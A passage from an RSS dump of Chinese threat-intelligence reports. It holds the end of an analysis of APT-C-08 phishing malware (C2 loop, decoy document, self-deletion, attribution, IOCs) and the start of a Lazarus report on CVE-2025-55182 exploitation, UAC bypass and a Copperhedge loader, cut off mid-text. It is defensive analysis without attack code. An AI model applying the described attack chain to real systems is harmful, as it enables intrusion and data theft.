src="https://wechat2rss.xlab.app/img-proxy/?k=9bb65905&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJibDNnGGGU0ibTMyqWaKaSvvXWSicnvG1BwAm014sEicnhNZFSbibtOf6ODeL0CzewD4L3D9y8tL8GhXeichC2ucUbQJknQicy9rJuWw%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">循环获取C2指令执行。</span><o:page></o:page></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6609808102345416" data-w="938" style="width: 553.74px;height: 366.01px;" src="https://wechat2rss.xlab.app/img-proxy/?k=fb7500a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKxve9Piavg80gJftrVRgNODwpppPAm7DaJaOWnlWuEDq41A8xFia501hWuicCu7Xk1Oo5Wq2Oc8rhibTezsEOUMQwCOfjTSaxs7nU%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">14）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">浏览器打开诱饵文档，用于迷惑用户。</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.30935251798561153" data-w="695" style="width: 553.74px;height: 171.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7a3dd878&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJgmzngiaDzH4kv3q1VSH0AVjWictsNbv7GRUdfuerod7ZFPcJPbiaIBd1iccyfWbqYaTsWRPUY8qtdMmeKIWcNOiciaiaTLbBx2CV5xA%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">15）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">执行自删除。</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.45590433482810166" data-w="669" style="width: 553.74px;height: 252.47px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1e8f79e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXINBPGibTPEoqBT9grKUibicAyHZ9vwtMAlhVIXkVROibUH64UyhzEeUzuktQ1HbPicSUpxODu3ePbZFuibjN4LTxgaTUI2ntyNkK7FQ%2F640%3Fwx_fmt%3Dpng"/></span><o:page></o:page></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;"><span leaf="">二、归属研判</span></span></strong></p></div></div></div></div></div><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过对本次攻击活动的相关信息进行深入分析，我们认为此类攻击活动符合蔓灵花组织以往的TTP，具体表现有以下方面：</span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">1.钓鱼网站构建，与25年蔓灵花组织构建基本相同。并且源码文件中还存在去年使用过的模糊背景。</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.825925925925926" data-w="540" style="width: 539.94px;height: 445.95px;" src="https://wechat2rss.xlab.app/img-proxy/?k=360e248c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKibXkHgMfwgzfjbkzKOPaA4D2svf7tz4OthFDW4V1yRibCg83OLEFVsYmv7xMuH58bO6ibwXxU6GrSA09oq1QPeyZBSUVNrz4ROc%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2.与25年相关钓鱼相同，本次钓鱼域名绑定ip也是162.244.93[.]6。其服务器sever也均为，“openresty/1.27.1[.]1”。</span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3.本次html源码与25年基本相同。并且所使用的图标文件，如：163图标等。均与去年相同，哈希一致。</span><o:page></o:page></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6872822299651568" data-w="1148" style="width: 553.74px;height: 380.61px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9c9cdc1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLGbJuIAWgQ6OwDXYliatDbiamYb5mUFEzfVe4l68hLmgmgXlDPMOibvuGr617LQnUP4eSNDM8L1A9DrEg7aOkFA8XBm4ibMImtCvo%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-bottom:10.0pt;line-height:150%;"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" lang="EN-US"><span leaf="" style="text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">综合以上观点我们认为该次攻击属于蔓灵花组织。</span></span></p><div data-role="outer" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div data-tools="135编辑器" data-id="101849" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div style="margin: 10px 0px;padding: 0px;box-sizing: border-box;"><div style="margin: 0px 0px -15px;padding: 0px;display: flex;box-sizing:border-box;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);"><p data-brushtype="text" style="margin: 0px;padding: 0px 1em;color: #f2f2f2;line-height: 32px;height: 32px;font-size: 16px;background-color: #be191f;letter-spacing: 1.5px;box-sizing: border-box;"><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 17px;"><span leaf="">总结</span></span></strong></p></div><div style="margin: 0px 0px 0px 6px;padding: 30px 15px 10px;background-color: #f2f2f2;flex-shrink: 0;box-sizing: border-box;"><div data-autoskip="1" style="margin: 0px;padding: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;box-sizing: border-box;"><div style="margin: 0px;padding: 0px;text-indent: 2em;box-sizing: border-box;"><p style="text-indent: 2em;margin-bottom: 16px;margin-top: 0px;"><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">蔓灵花组织（</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">APT-C-08）的活动表明其具备持续的威胁演化能力和战术复用性。从攻击流程来看，该组织从构建与去年高度相似的钓鱼网站，到使用伪装为下载页面的方式投放具备窃密与远程控制功能的</span></font></span><span lang="EN-US" style="background-color: rgb(242, 242, 242);flex-shrink: 0;box-sizing: border-box;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">VBS</span></span><span leaf="" style="background-color: rgb(242, 242, 242);flex-shrink: 0;box-sizing: border-box;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">脚本，整个攻击链设计严密，旨在通过社会工程学手段突破第一道防线。其恶意载荷不仅实现了持久化驻留，还具备窃密与远程命令执行的双重能力，对受感染设备的机密信息安全构成了直接且严重的威胁。</span></p><p><span leaf="">在这里提醒用户加强安全意识，切勿执行未知样本或点击来历不明的链接等操作。这些行为可能导致系统在没有任何防范的情况下被攻陷，从而导致机密文件和重要情报的泄漏。</span></p></div></div></div></div></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">附录 IOC</span></span></strong></span></p></div></div><div data-role="paragraph"><p style="line-height: 1.6em;margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: bold;">MD5:</span></span></p><p style="line-height: 1.6em;margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">668807209bfc094bb0e53653b9cd84ac  </span></span></p><p style="line-height: 1.6em;margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;font-weight: bold;">Domain：</span></span></p><p style="line-height: 1.6em;margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">downloadclouddata[.]com</span></span></p><p style="line-height: 1.6em;margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">163.245.220[.]108:8442</span></span></p><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="96036"><div style="margin:10px auto;"><div data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3e3e3e;"><p hm_fix="208:559"><span style="color: rgb(190, 25, 31);font-size: 15px;"><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 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leaf="">360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div></div></div></div><o:page></o:page></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



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      <pubDate>Wed, 10 Jun 2026 17:30:00 +0800</pubDate>
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      <title>APT-C-26（Lazarus）组织利用CVE-2025-55182与Copperhedge组件的攻击行动分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508667&amp;idx=1&amp;sn=3557c4427627029226bda2a9de3a81ca</link>
      <description>我们观察到Lazarus组织使用了与CVE-2025-55182漏洞相关的恶意组件，并辅以内网横向移动工具MultiRelay、用户账户控制（UAC）绕过工具，以及Copperhedge恶意软件家族的痕迹。</description>
      <content:encoded><![CDATA[<p>原创 <span>高级威胁研究院</span> <span>2026-06-03 17:30</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=71d50af0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FEmmib7pWXrXJwkayibudeTxdfjTZu5SRgv1zattzBHKAgTmsN5Pot1ib0j6hGXYOzibSS7mBLJlHNibUJULqTD7BsknuHj35Hhb5IMFeRFxcVoBU%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>我们观察到Lazarus组织使用了与CVE-2025-55182漏洞相关的恶意组件，并辅以内网横向移动工具MultiRelay、用户账户控制（UAC）绕过工具，以及Copperhedge恶意软件家族的痕迹。</p>
  <div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="102539"><div style="margin: 10px auto;text-align: left;"><div style="background: #f2f2f2;"><div style="box-sizing: border-box;padding:1em 1em;"><div style="display: flex;justify-content:  space-between;align-items: flex-end;" hm_fix="312:231"><div style="display: flex;justify-content: space-between;flex-direction: column;align-items: flex-start;border-left: 4px solid #be191f;box-sizing: border-box;"><p data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 0px 0em 3px;color: #322828;margin-left: 12px;border-bottom: 1px solid #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">APT-C-26</span></strong></span></p><p data-brushtype="text" style="letter-spacing: 1.5px;padding: 4px 0em 0px;color: #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">Lazarus</span></strong></span></p></div></div><div data-autoskip="1"><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 0px;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">APT-C-26（Lazarus）组织是一个高度活跃的高级持续性威胁（APT）组织，以其精密和隐蔽的攻击手段而闻名。该组织主要瞄准金融机构和加密货币交易所，运用一系列复杂的攻击策略，包括精心设计的网络钓鱼、直接网络攻击以及勒索软件攻击。Lazarus组织不仅以非法获取资金为目的，其活动还可能涉及深度情报收集和政治动机。这些行为反映了该组织在网络安全领域的高度技术能力和对目标的深入了解。</span></p></div></div></div></div></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;"><span leaf="">一、概述</span></span></strong></p></div></div></div></div></div><div data-role="paragraph"><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在日常监测中，我们观察到Lazarus组织使用了与CVE-2025-55182漏洞相关的恶意组件，并辅以内网横向移动工具MultiRelay、用户账户控制（UAC）绕过工具，以及Copperhedge恶意软件家族的痕迹。</span></p></div></div><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">CVE-2025-55182 是 React 代码库 (RSC) 中的一个不安全反序列化漏洞，允许攻击者通过单个 HTTP 请求执行未经身份验证的远程代码。该漏洞由安全研究员 Lachlan Davidson于 2025 年 12 月 3 日披露，影响 React 19.x 及其构建的框架，包括使用 App Router 的 Next.js 15.x 和 16.x。</span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Copperhedge恶意软件最早由CISA于2020年披露</span><sup><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">[1]</span></sup><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，是 Manuscrypt 系列恶意软件，被用于攻击加密货币交易所及相关实体。Manuscrypt 是一款功能齐全的远程访问工具 (RAT)，能够执行任意命令、进行系统侦察并窃取数据。在本次监测到的Copperhedge Loader样本中，其文件版本信息被刻意伪装为“WaveTest”相关标识，以规避常规检测。</span><o:page></o:page></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">综合上述技术特征与攻击工具链分析，我们推断，Lazarus组织此次发起的攻击行动，其主要目标极有可能是金融机构或区块链相关基础设施，旨在通过利用上述漏洞和工具组合，实现对目标系统的深度渗透与控制，进而达成其数据窃取、资金转移或情报获取的战略目的。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;"><span leaf="">二、攻击活动分析</span></span></strong></p></div></div></div></div></div><p data-brushtype="text" style="margin-top: 16px;margin-bottom: 16px;"><strong style="font-family: 黑体;font-variant: normal;text-transform: none;"><span leaf="" style="font-family: 黑体;font-variant: normal;text-transform: none;"><span textstyle="" style="font-size: 17px;color: rgb(190, 25, 31);font-weight: bold;">1. 攻击流程分析</span></span></strong></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">攻击者将CVE-2025-55182漏洞利用工具武器化，编译为Windows平台可执行程序。该工具以攻击者构造的list.txt文件作为目标列表参数，对目标服务器进行批量漏洞扫描与利用，从而获取初始访问权限。</span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span lang="EN-US"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">同时，攻击者使用了内网渗透工具MultiRelay（multirelay.exe）以及Windows用户账户控制（UAC）绕过工具Akagi64（akagi64.exe）。通过利用Akagi64成功绕过UAC机制提升权限后，攻击者执行系统命令，调用rundll32.exe加载并运行Copperhedge Loader。该Loader随后释放Copperhedge Backdoor，建立持久化远程控制通道，最终实现对目标主机的完全控制。</span></span><o:page></o:page></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;font-size: 